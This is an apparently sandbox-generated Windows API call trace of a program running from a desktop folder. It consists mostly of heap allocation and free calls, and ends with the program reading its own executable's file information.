RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x33506a0 [0075.715] GetCurrentThreadId () returned 0x9b0 [0075.715] GetCurrentThreadId () returned 0x9b0 [0075.715] GetCurrentThreadId () returned 0x9b0 [0075.715] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x31de998 [0075.715] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31de998 | out: hHeap=0x2ad0000) returned 1 [0075.715] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x31de688 [0075.715] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x31de688, Size=0x18) returned 0x31838e0 [0075.716] GetCurrentThreadId () returned 0x9b0 [0075.716] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31838e0 | out: hHeap=0x2ad0000) returned 1 [0075.716] GetCurrentThreadId () returned 0x9b0 [0075.716] GetCurrentThreadId () returned 0x9b0 [0075.716] GetCurrentThreadId () returned 0x9b0 [0075.716] GetCurrentThreadId () returned 0x9b0 [0075.716] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33506a0 | out: hHeap=0x2ad0000) returned 1 [0075.716] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x334fcc8 | out: hHeap=0x2ad0000) returned 1 [0075.716] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3350b00 | out: hHeap=0x2ad0000) returned 1 [0075.716] GetCurrentThreadId () returned 0x9b0 [0075.716] GetCurrentThreadId () returned 0x9b0 [0075.716] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x33506a0 [0075.716] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x334fa98 [0075.716] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x3350588 [0075.716] GetCurrentThreadId () returned 0x9b0 [0075.716] GetCurrentThreadId () returned 0x9b0 [0075.716] GetCurrentThreadId () returned 0x9b0 [0075.716] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x31de6f8 [0075.716] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31de6f8 | out: hHeap=0x2ad0000) returned 1 [0075.716] GetCurrentThreadId () returned 0x9b0 [0075.716] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x31de6c0 [0075.717] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x31de6c0, Size=0x18) returned 0x3183840 [0075.717] GetCurrentThreadId () returned 0x9b0 [0075.717] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3183840 | out: hHeap=0x2ad0000) returned 1 [0075.717] GetCurrentThreadId () returned 0x9b0 [0075.717] GetCurrentThreadId () returned 0x9b0 [0075.717] GetCurrentThreadId () returned 0x9b0 [0075.717] GetCurrentThreadId () returned 0x9b0 [0075.717] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3350588 | out: hHeap=0x2ad0000) returned 1 [0075.717] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x334fa98 | out: hHeap=0x2ad0000) returned 1 [0075.717] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33506a0 | out: hHeap=0x2ad0000) returned 1 [0075.717] GetCurrentThreadId () returned 0x9b0 [0075.717] GetCurrentThreadId () returned 0x9b0 [0075.717] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x334f408 [0075.717] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x3350588 [0075.717] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x334f868 [0075.717] GetCurrentThreadId () returned 0x9b0 [0075.717] GetCurrentThreadId () returned 0x9b0 [0075.717] GetCurrentThreadId () returned 0x9b0 [0075.717] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x31de7d8 [0075.717] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31de7d8 | out: hHeap=0x2ad0000) returned 1 [0075.717] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x31de730 [0075.717] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x31de730, Size=0x18) returned 0x31838a0 [0075.718] GetCurrentThreadId () returned 0x9b0 [0075.718] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31838a0 | out: hHeap=0x2ad0000) returned 1 [0075.718] GetCurrentThreadId () returned 0x9b0 [0075.718] GetCurrentThreadId () returned 0x9b0 [0075.718] GetCurrentThreadId () returned 0x9b0 [0075.718] GetCurrentThreadId () returned 0x9b0 [0075.718] GetCurrentThreadId () returned 0x9b0 [0075.718] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x334f868 | out: hHeap=0x2ad0000) returned 1 [0075.718] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3350588 | out: hHeap=0x2ad0000) returned 1 [0075.718] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x334f408 | out: hHeap=0x2ad0000) returned 1 [0075.718] GetCurrentThreadId () returned 0x9b0 [0075.718] GetCurrentThreadId () returned 0x9b0 [0075.718] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x33508d0 [0075.718] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x3350358 [0075.718] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x334f638 [0075.718] GetCurrentThreadId () returned 0x9b0 [0075.718] GetCurrentThreadId () returned 0x9b0 [0075.718] GetCurrentThreadId () returned 0x9b0 [0075.718] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x31de7a0 [0075.718] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31de7a0 | out: hHeap=0x2ad0000) returned 1 [0075.718] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x31de960 [0075.718] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x31de960, Size=0x18) returned 0x3183900 [0075.719] GetCurrentThreadId () returned 0x9b0 [0075.719] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3183900 | out: hHeap=0x2ad0000) returned 1 [0075.719] GetCurrentThreadId () returned 0x9b0 [0075.719] GetCurrentThreadId () returned 0x9b0 [0075.719] GetCurrentThreadId () returned 0x9b0 [0075.719] GetCurrentThreadId () returned 0x9b0 [0075.719] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x334f638 | out: hHeap=0x2ad0000) returned 1 [0075.719] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3350358 | out: hHeap=0x2ad0000) returned 1 [0075.719] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33508d0 | out: hHeap=0x2ad0000) returned 1 [0075.719] GetCurrentThreadId () returned 0x9b0 [0075.719] GetCurrentThreadId () returned 0x9b0 [0075.719] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x3350010 [0075.719] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x334fef8 [0075.719] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x334f638 [0075.719] GetCurrentThreadId () returned 0x9b0 [0075.719] GetCurrentThreadId () returned 0x9b0 [0075.719] GetCurrentThreadId () returned 0x9b0 [0075.719] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x31de848 [0075.719] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31de848 | out: hHeap=0x2ad0000) returned 1 [0075.719] GetCurrentThreadId () returned 0x9b0 [0075.719] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x31de6c0 [0075.719] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x31de6c0, Size=0x18) returned 0x3183920 [0075.720] GetCurrentThreadId () returned 0x9b0 [0075.720] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3183920 | out: hHeap=0x2ad0000) returned 1 [0075.720] GetCurrentThreadId () returned 0x9b0 [0075.720] GetCurrentThreadId () returned 0x9b0 [0075.720] GetCurrentThreadId () returned 0x9b0 [0075.720] GetCurrentThreadId () returned 0x9b0 [0075.720] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x334f638 | out: hHeap=0x2ad0000) returned 1 [0075.720] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x334fef8 | out: hHeap=0x2ad0000) returned 1 [0075.720] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3350010 | out: hHeap=0x2ad0000) returned 1 [0075.720] GetCurrentThreadId () returned 0x9b0 [0075.720] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x33bf7e0 [0075.720] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32f2dc8 | out: hHeap=0x2ad0000) returned 1 [0075.720] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x32f1b68 [0075.720] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x2cdc070 [0075.720] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32aba70 [0075.720] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84620 [0075.720] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c845c0 [0075.720] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32aba80 [0075.720] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32abaf0 [0075.721] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x32aba80, Size=0x14) returned 0x31838e0 [0075.721] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32abaf0 | out: hHeap=0x2ad0000) returned 1 [0075.721] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c845c0 | out: hHeap=0x2ad0000) returned 1 [0075.721] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84620 | out: hHeap=0x2ad0000) returned 1 [0075.721] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32aba70 | out: hHeap=0x2ad0000) returned 1 [0075.721] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31838e0 | out: hHeap=0x2ad0000) returned 1 [0075.721] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32f1b68 | out: hHeap=0x2ad0000) returned 1 [0075.721] GetCurrentThreadId () returned 0x9b0 [0075.721] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32abb50 [0075.721] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c844e8 [0075.721] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84530 [0075.721] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32abaf0 [0075.721] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32aba70 [0075.721] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x32abaf0, Size=0x14) returned 0x3183b20 [0075.721] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32aba70 | out: hHeap=0x2ad0000) returned 1 [0075.721] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84530 | out: hHeap=0x2ad0000) returned 1 [0075.721] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c844e8 | out: hHeap=0x2ad0000) returned 1 [0075.722] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32abb50 | out: hHeap=0x2ad0000) returned 1 [0075.722] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3183b20 | out: hHeap=0x2ad0000) returned 1 [0075.722] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x32f0f28 [0075.722] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32aba70 [0075.722] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x18) returned 0x3183a40 [0075.722] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84698 [0075.722] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32aba80 [0075.722] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32abb00 [0075.722] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x32aba80, Size=0x14) returned 0x3183c20 [0075.722] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32abb00 | out: hHeap=0x2ad0000) returned 1 [0075.722] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84698 | out: hHeap=0x2ad0000) returned 1 [0075.722] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3183a40 | out: hHeap=0x2ad0000) returned 1 [0075.722] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32aba70 | out: hHeap=0x2ad0000) returned 1 [0075.722] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3183c20 | out: hHeap=0x2ad0000) returned 1 [0075.722] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x32f2188 [0075.722] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x32f3a08 [0075.723] GetCurrentThreadId () returned 0x9b0 [0075.723] GetCurrentThreadId () returned 0x9b0 [0075.723] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x32f2310 [0075.723] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c844d0 [0075.723] GetCurrentThreadId () returned 0x9b0 [0075.723] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c846b0 [0075.723] GetCurrentThreadId () returned 0x9b0 [0075.723] GetCurrentThreadId () returned 0x9b0 [0075.723] GetCurrentThreadId () returned 0x9b0 [0075.723] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c846b0, Size=0x20) returned 0x30284e0 [0075.723] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32aba70 [0075.723] GetCurrentThreadId () returned 0x9b0 [0075.723] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84440 [0075.723] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84440 | out: hHeap=0x2ad0000) returned 1 [0075.723] GetCurrentThreadId () returned 0x9b0 [0075.723] GetCurrentThreadId () returned 0x9b0 [0075.724] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84698 [0075.724] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c84698, Size=0x20) returned 0x3028260 [0075.724] GetCurrentThreadId () returned 0x9b0 [0075.724] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3028260, Size=0x40) returned 0x2a19250 [0075.724] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x33507b8 [0075.724] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x68) returned 0x2a199d8 [0075.724] GetCurrentThreadId () returned 0x9b0 [0075.724] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x68) returned 0x2a19968 [0075.724] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a199d8 | out: hHeap=0x2ad0000) returned 1 [0075.724] GetCurrentThreadId () returned 0x9b0 [0075.724] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x28) returned 0x2a20138 [0075.724] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19968 | out: hHeap=0x2ad0000) returned 1 [0075.724] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84530 [0075.724] GetCurrentThreadId () returned 0x9b0 [0075.724] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84530 | out: hHeap=0x2ad0000) returned 1 [0075.724] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x100) returned 0x3227178 [0075.724] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3227178 | out: hHeap=0x2ad0000) returned 1 [0075.724] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20) returned 0x3028558 [0075.725] GetLastError () returned 0x2 [0075.725] GetLastError () returned 0x2 [0075.725] GetLastError () returned 0x2 [0075.725] GetLastError () returned 0x2 [0075.725] GetLastError () returned 0x2 [0075.725] GetLastError () returned 0x2 [0075.725] GetLastError () returned 0x2 [0075.725] GetLastError () returned 0x2 [0075.725] GetLastError () returned 0x2 [0075.725] GetLastError () returned 0x2 [0075.725] GetLastError () returned 0x2 [0075.725] GetLastError () returned 0x2 [0075.725] GetLastError () returned 0x2 [0075.725] GetLastError () returned 0x2 [0075.725] GetLastError () returned 0x2 [0075.725] GetLastError () returned 0x2 [0075.725] GetLastError () returned 0x2 [0075.726] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3028558 | out: hHeap=0x2ad0000) returned 1 [0075.726] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84668 [0075.726] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33507b8 | out: hHeap=0x2ad0000) returned 1 [0075.726] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a20138 | out: hHeap=0x2ad0000) returned 1 [0075.726] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19250, Size=0x78) returned 0x31d6f20 [0075.726] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84668 | out: hHeap=0x2ad0000) returned 1 [0075.726] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x30281c0 | out: hHeap=0x2ad0000) returned 1 [0075.726] GetCurrentThreadId () returned 0x9b0 [0075.726] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32abb70 [0075.726] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32abb00 [0075.726] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32abb70 | out: hHeap=0x2ad0000) returned 1 [0075.726] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32f2310 | out: hHeap=0x2ad0000) returned 1 [0075.726] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x30284e0 | out: hHeap=0x2ad0000) returned 1 [0075.726] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32aba70 | out: hHeap=0x2ad0000) returned 1 [0075.726] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c844d0 | out: hHeap=0x2ad0000) returned 1 [0075.726] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6f20 | out: hHeap=0x2ad0000) returned 1 [0075.726] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x32f2f50 [0075.727] GetCurrentThreadId () returned 0x9b0 [0075.727] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x32f1b68 [0075.727] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32abac0 [0075.727] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84548 [0075.727] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84458 [0075.727] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32aba70 [0075.727] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32abb50 [0075.727] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x32aba70, Size=0x14) returned 0x3183c20 [0075.727] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32abb50 | out: hHeap=0x2ad0000) returned 1 [0075.727] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84458 | out: hHeap=0x2ad0000) returned 1 [0075.727] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84548 | out: hHeap=0x2ad0000) returned 1 [0075.727] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32abac0 | out: hHeap=0x2ad0000) returned 1 [0075.727] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3183c20 | out: hHeap=0x2ad0000) returned 1 [0075.727] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32f2f50 | out: hHeap=0x2ad0000) returned 1 [0075.727] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x32f27a8 [0075.727] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32abaf0 [0075.727] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c844b8 [0075.727] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84650 [0075.728] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32aba70 [0075.728] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32aba80 [0075.728] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x32aba70, Size=0x14) returned 0x3183b60 [0075.728] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32aba80 | out: hHeap=0x2ad0000) returned 1 [0075.728] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84650 | out: hHeap=0x2ad0000) returned 1 [0075.728] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c844b8 | out: hHeap=0x2ad0000) returned 1 [0075.728] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32abaf0 | out: hHeap=0x2ad0000) returned 1 [0075.728] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3183b60 | out: hHeap=0x2ad0000) returned 1 [0075.728] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x32f2310 [0075.728] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32aba70 [0075.728] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84410 [0075.728] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84638 [0075.728] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32abac0 [0075.728] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32aba80 [0075.728] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x32abac0, Size=0x14) returned 0x3183920 [0075.728] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32aba80 | out: hHeap=0x2ad0000) returned 1 [0075.728] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84638 | out: hHeap=0x2ad0000) returned 1 [0075.729] GetCurrentThreadId () returned 0x9b0 [0075.729] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32abac0 [0075.729] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1c) returned 0x30284e0 [0075.729] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84518 [0075.729] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32aba70 [0075.729] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32aba80 [0075.729] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x32aba70, Size=0x14) returned 0x3183be0 [0075.729] GetCurrentThreadId () returned 0x9b0 [0075.729] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x300) returned 0x3355b18 [0075.729] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32aba70 [0075.730] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84668 [0075.730] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c845d8 [0075.730] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32abaf0 [0075.730] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32abac0 [0075.731] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x32abaf0, Size=0x14) returned 0x3183c20 [0075.731] GetCurrentThreadId () returned 0x9b0 [0075.731] GetCurrentThreadId () returned 0x9b0 [0075.731] GetCurrentThreadId () returned 0x9b0 [0075.731] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1aa00 [0075.731] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a140 [0075.731] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x3350588 [0075.731] GetCurrentThreadId () returned 0x9b0 [0075.731] GetCurrentThreadId () returned 0x9b0 [0075.731] GetCurrentThreadId () returned 0x9b0 [0075.731] GetCurrentThreadId () returned 0x9b0 [0075.731] GetCurrentThreadId () returned 0x9b0 [0075.731] GetCurrentThreadId () returned 0x9b0 [0075.731] GetLastError () returned 0x2 [0075.731] CreateFileA (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUSERS~1.EXE" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers~1.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9b8158, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f4 [0075.732] GetFileType (hFile=0x2f4) returned 0x1 [0075.732] GetCurrentThreadId () returned 0x9b0 [0075.732] GetLastError () returned 0x0 [0075.732] GetFileType (hFile=0x2f4) returned 0x1 [0075.732] GetFileInformationByHandle (in: hFile=0x2f4, lpFileInformation=0x9b81d4 | out: lpFileInformation=0x9b81d4) returned 1 [0075.732] FileTimeToLocalFileTime (in: lpFileTime=0x9b81e8, lpLocalFileTime=0x9b8218 | out: lpLocalFileTime=0x9b8218) returned 1 [0075.732] FileTimeToSystemTime (in: lpFileTime=0x9b8218, lpSystemTime=0x9b8208 | out: lpSystemTime=0x9b8208) returned 1 [0075.732] FileTimeToLocalFileTime (in: lpFileTime=0x9b81e0, lpLocalFileTime=0x9b8218 | out: lpLocalFileTime=0x9b8218) returned 1 [0075.732] FileTimeToSystemTime (in: lpFileTime=0x9b8218, lpSystemTime=0x9b8208 | out: lpSystemTime=0x9b8208) returned 1 [0075.732] FileTimeToLocalFileTime (in: lpFileTime=0x9b81d8, lpLocalFileTime=0x9b8218 | out: lpLocalFileTime=0x9b8218) returned 1 [0075.733] FileTimeToSystemTime (in: lpFileTime=0x9b8218, lpSystemTime=0x9b8208 | out: lpSystemTime=0x9b8208) returned 1 [0075.733] GetCurrentThreadId () returned 0x9b0 [0075.733] GetCurrentThreadId () returned 0x9b0 [0075.733] GetCurrentThreadId () returned 0x9b0 [0075.733] GetCurrentThreadId () returned 0x9b0 [0075.733] GetCurrentThreadId () returned 0x9b0 [0075.733] GetCurrentThreadId () returned 0x9b0 [0075.733] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1bac) returned 0x33d0968 [0075.733] GetCurrentThreadId () returned 0x9b0 [0075.733] GetCurrentThreadId () returned 0x9b0 [0075.733] GetCurrentThreadId () returned 0x9b0 [0075.733] CloseHandle (hObject=0x2f4) returned 1 [0075.733] GetCurrentThreadId () returned 0x9b0 [0075.734] GetCurrentThreadId () returned 0x9b0 